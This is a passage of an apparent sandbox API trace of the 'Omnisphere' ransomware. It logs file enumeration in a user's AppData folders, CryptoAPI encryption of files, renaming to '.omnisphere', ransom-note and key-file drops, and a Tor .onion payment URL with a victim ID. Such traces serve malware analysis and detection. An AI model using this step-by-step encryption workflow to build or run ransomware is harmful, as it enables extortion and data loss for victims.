ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.763] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 1 [0162.763] GetProcessHeap () returned 0x1600000 [0162.763] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x16b27e8 [0162.763] PathCombineW (in: pszDest=0x16b27e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype", pszFile="RootTools" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools" [0162.763] GetProcessHeap () returned 0x1600000 [0162.763] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f380 [0162.764] PathCombineW (in: pszDest=0x163f380, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\*" [0162.764] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0162.764] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0162.764] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0xdf, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 1 [0162.764] GetProcessHeap () returned 0x1600000 [0162.764] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x16b0bf0 [0162.764] PathCombineW (in: pszDest=0x16b0bf0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools", pszFile="roottools.conf" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" [0162.764] StrStrW (lpFirst=".omnisphere", lpSrch=".conf") returned 0x0 [0162.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\roottools.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.765] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=76) returned 1 [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.765] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686bc [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.766] GetTickCount () returned 0x11686cb [0162.767] GetTickCount () returned 0x11686cb [0162.767] GetTickCount () returned 0x11686cb [0162.767] GetTickCount () returned 0x11686cb [0162.767] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x16682c8) returned 1 [0162.767] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639ae8) returned 1 [0162.767] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0162.768] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0162.768] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0162.768] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c, lpName=0x0) returned 0x28c [0162.768] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c) returned 0x1480000 [0162.768] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668708) returned 1 [0162.768] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639528) returned 1 [0162.769] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0162.769] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0162.769] CryptDestroyKey (hKey=0x1639528) returned 1 [0162.769] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.769] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0162.769] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0162.771] GetProcessHeap () returned 0x1600000 [0162.771] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29c) returned 0x17518b8 [0162.771] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\roottools.conf"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\roottools.conf.omnisphere")) returned 1 [0162.771] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.omnisphere.id" [0162.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\roottools.conf.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0162.772] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0162.773] CloseHandle (hObject=0x288) returned 1 [0162.773] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.773] CloseHandle (hObject=0x28c) returned 1 [0162.773] SetEndOfFile (hFile=0x3a0) returned 1 [0162.774] FlushFileBuffers (hFile=0x3a0) returned 1 [0162.811] CloseHandle (hObject=0x3a0) returned 1 [0162.811] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools") returned 1 [0162.811] GetProcessHeap () returned 0x1600000 [0162.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1771de0 [0162.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.811] GetProcessHeap () returned 0x1600000 [0162.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733518 [0162.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733518, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.811] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.811] GetProcessHeap () returned 0x1600000 [0162.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f340 [0162.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f340, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.811] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.811] GetProcessHeap () returned 0x1600000 [0162.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656c10 [0162.811] PathCombineW (in: pszDest=0x1656c10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\!DECRYPT_OMNISPHERE.txt" [0162.811] GetProcessHeap () returned 0x1600000 [0162.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176c9d8 [0162.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.814] WriteFile (in: hFile=0x3a0, lpBuffer=0x176c9d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x176c9d8*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0162.815] CloseHandle (hObject=0x3a0) returned 1 [0162.815] GetProcessHeap () returned 0x1600000 [0162.815] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1771de0 | out: hHeap=0x1600000) returned 1 [0162.815] GetProcessHeap () returned 0x1600000 [0162.815] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167b808 [0162.815] PathCombineW (in: pszDest=0x167b808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\unique_decrypt.key" [0162.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.816] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0162.817] CloseHandle (hObject=0x3a0) returned 1 [0162.817] GetProcessHeap () returned 0x1600000 [0162.817] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b808 | out: hHeap=0x1600000) returned 1 [0162.817] GetProcessHeap () returned 0x1600000 [0162.817] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0bf0 | out: hHeap=0x1600000) returned 1 [0162.817] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0xdf, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 0 [0162.817] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0162.818] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x42256142, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x42256142, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x42256142, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x42256142, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222ffc2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4222ffc2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x42256142, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x421e3b93, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="roottools.conf.omnisphere", cAlternateFileName="ROOTTO~1.OMN")) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421e3b93, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x421e3b93, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421e3b93, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="roottools.conf.omnisphere.id", cAlternateFileName="ROOTTO~1.ID")) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42256142, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x42256142, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x42256142, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42256142, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x42256142, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x42256142, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.818] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0162.818] GetProcessHeap () returned 0x1600000 [0162.818] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f380 | out: hHeap=0x1600000) returned 1 [0162.818] GetProcessHeap () returned 0x1600000 [0162.818] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b27e8 | out: hHeap=0x1600000) returned 1 [0162.818] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 0 [0162.818] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0162.818] GetProcessHeap () returned 0x1600000 [0162.819] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f88 | out: hHeap=0x1600000) returned 1 [0162.819] GetProcessHeap () returned 0x1600000 [0162.819] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f20 | out: hHeap=0x1600000) returned 1 [0162.819] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43672f70, ftCreationTime.dwHighDateTime=0x1d4ce48, ftLastAccessTime.dwLowDateTime=0x9c62530, ftLastAccessTime.dwHighDateTime=0x1d4d20f, ftLastWriteTime.dwLowDateTime=0xa2a3fd7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="STG7KypQe_U5z55v6.wav.omnisphere", cAlternateFileName="STG7KY~1.OMN")) returned 1 [0162.819] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa27df40, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa27df40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa2a3fd7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="STG7KypQe_U5z55v6.wav.omnisphere.id", cAlternateFileName="STG7KY~1.ID")) returned 1 [0162.819] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0162.819] GetProcessHeap () returned 0x1600000 [0162.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163d538 [0162.819] PathCombineW (in: pszDest=0x163d538, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Sun" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun" [0162.819] GetProcessHeap () returned 0x1600000 [0162.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x16920c0 [0162.819] PathCombineW (in: pszDest=0x16920c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*" [0162.819] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.820] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0162.820] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, 